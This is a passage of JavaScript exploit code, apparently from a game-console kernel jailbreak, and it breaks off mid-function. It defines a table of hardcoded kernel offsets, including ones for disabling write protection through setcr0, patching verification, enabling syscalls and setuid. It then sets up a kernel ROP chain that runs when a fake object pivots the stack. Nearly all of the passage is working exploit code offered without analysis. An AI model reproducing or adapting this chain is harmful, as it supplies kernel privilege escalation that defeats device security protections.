| 335 | |
| 336 | //Build the kernel rop chain, this is what the kernel will be executing when the fake obj pivots the stack. |
| 337 | function kchain_setup() { |
| 338 | const KERNEL_busy = 0x1B28DF8; |
| 339 | |
| 340 | const KERNEL_bcopy = 0xACD; |
| 341 | const KERNEL_bzero = 0x2713FD; |
| 342 | const KERNEL_pagezero = 0x271441; |
| 343 | const KERNEL_memcpy = 0x2714BD; |
| 344 | const KERNEL_pagecopy = 0x271501; |
| 345 | const KERNEL_copyin = 0x2716AD; |
| 346 | const KERNEL_copyinstr = 0x271B5D; |
| 347 | const KERNEL_copystr = 0x271C2D; |
| 348 | const KERNEL_setidt = 0x312c40; |
| 349 | const KERNEL_setcr0 = 0x1FB949; |
| 350 | const KERNEL_Xill = 0x17d500; |
| 351 | const KERNEL_veriPatch = 0x626874; |
| 352 | const KERNEL_enable_syscalls_1 = 0x490; |
| 353 | const KERNEL_enable_syscalls_2 = 0x4B5; |
| 354 | const KERNEL_enable_syscalls_3 = 0x4B9; |
| 355 | const KERNEL_enable_syscalls_4 = 0x4C2; |
| 356 | const KERNEL_mprotect = 0x80B8D; |
| 357 | const KERNEL_prx = 0x23AEC4; |
| 358 | const KERNEL_dlsym_1 = 0x23B67F; |
| 359 | const KERNEL_dlsym_2 = 0x221b40; |
| 360 | const KERNEL_setuid = 0x1A06; |
| 361 | const KERNEL_syscall11_1 = 0x1100520; |
| 362 | const KERNEL_syscall11_2 = 0x1100528; |
| 363 | const KERNEL_syscall11_3 = 0x110054C; |
| 364 | const KERNEL_syscall11_gadget = 0x4c7ad; |
| 365 | const KERNEL_mmap_1 = 0x16632A; |
| 366 | const KERNEL_mmap_2 = 0x16632D; |
| 367 | const KERNEL_setcr0_patch = 0x3ade3B; |
| 368 | const KERNEL_kqueue_close_epi = 0x398991; |
| 369 | |
| 370 | SAVED_KERNEL_STACK_PTR = p.malloc(0x200); |
| 371 | KERNEL_BASE_PTR = SAVED_KERNEL_STACK_PTR.add32(0x8); |
| 372 | //negative offset of kqueue string to kernel base |
| 373 | //0xFFFFFFFFFF86B593 0x505 |
| 374 | //0xFFFFFFFFFF80E364 0x900 |
| 375 | p.write8(KERNEL_BASE_PTR, new int64(0xFF80E364, 0xFFFFFFFF)); |
| 376 | |
| 377 | kchain = new rop(); |
| 378 | kchain2 = new rop(); |
| 379 | //Ensure the krop stack remains available. |
| 380 | { |
| 381 | chain.fcall(window.syscalls[203], kchain.stackback, 0x40000); |
| 382 | chain.fcall(window.syscalls[203], kchain2.stackback, 0x40000); |
| 383 | chain.fcall(window.syscalls[203], SAVED_KERNEL_STACK_PTR, 0x10); |
| 384 | } |
| 385 | chain.run(); |
| 386 | |
| 387 | kchain.count = 0; |
| 388 | kchain2.count = 0; |
| 389 | |
| 390 | kchain.set_kernel_var(KERNEL_BASE_PTR); |
| 391 | kchain2.set_kernel_var(KERNEL_BASE_PTR); |
| 392 | |
| 393 | kchain.push(gadgets["pop rax"]); |
| 394 | kchain.push(SAVED_KERNEL_STACK_PTR); |